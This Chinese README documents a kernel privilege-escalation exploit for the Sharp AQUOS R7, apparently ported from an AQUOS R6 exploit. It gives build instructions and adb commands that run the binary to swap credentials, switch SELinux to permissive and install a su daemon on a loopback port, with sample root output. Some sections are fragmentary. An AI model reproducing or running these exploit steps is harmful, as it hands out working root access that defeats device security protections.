针对 Sharp AQUOS R7 的设备专用 Linux 5.10 版 GhostLock(CVE-2026-43499)移植。已验证的目标是运行 Android 14 构建版本 03.00.06、内核为 5.10.218-android12-9-00041-g124993efd06e-ab12385094(SM8450)的 AQUOS R7(Mineva,SGA202SH/A202SH)。
这是 aquos-r6-ghostlock(AQUOS R6,内核 5.4.61-qgki)的移植。每一个常量——KASLR 处理、selinux_state 泄漏窗口、task/cred 偏移、零 BSS 暂存区——都针对 R7 内核重新推导并验证;R6 的栈布局仅作为起始参考。
成功运行后你将获得 UID 0 且 SELinux 处于 permissive 模式,并启动一个小型 su 命令守护进程。它不会授予完整的 Linux capability 集合,且更改不是持久的:重启会恢复原厂内核状态。
需要面向 aarch64-linux-android29 的 Android NDK clang(已使用 NDK r30 测试):
make build/ghostlock510 # ~3.4 MB static binary
make strip # optional; ~0.6 MB, same behaviour
可复现性:使用上述工具链构建的本源码与所有设备端测试中使用的二进制文件逐字节一致(MD5 fa896ebd361519766b46cc2bab70dea2)。发布资产正是该二进制文件经 llvm-strip 处理后的形式(598,672 字节,SHA-256 d3056b65380da9fda68bc1891a08c6028ee1cbdb39ff2c3ca136b703f1b0bef7)。
推送二进制文件(发布资产或自行构建的版本)并运行一次:
adb push ghostlock510 /data/local/tmp/ghostlock510
adb shell chmod 755 /data/local/tmp/ghostlock510
adb shell "setsid nohup /data/local/tmp/ghostlock510 \
--use-setattr --stamp3 --perm-pc --cred-swap --install-su \
--stamp-off 0xf0 --log /data/local/tmp/ghostlock510.log \
</dev/null >/dev/null 2>&1 &"
使用已安装的 su 客户端执行 root 命令(需要完整路径):
adb shell "/data/local/tmp/su -c 'id; getenforce'"
# uid=0(root) gid=2000(shell) groups=2000(shell) context=u:r:kernel:s0
# Permissive
su 通过回环 TCP(端口 9999)与漏洞利用程序的守护进程通信;不会附加持久化的 root shell。命令基于行,且在 su 中嵌套 su 无法工作。交互式程序(vi、top 等)需要 PTY;在守护进程之上实现交互式 su 模式留作未来工作。
在此确切构建版本上测得(见 VERIFICATION.md):
因此:重启,运行一次 ghostlock510,并在该会话存活期间不要再次运行它。重启即是清理途径。
大型外部输入被有意排除在本仓库之外:
vmlinux/System.map;与设备上实际运行内核的字节级一致性已通过其 boot_a 镜像验证。--stamp3 / --use-setattr 方法
受其启发(该仓库未声明许可证)。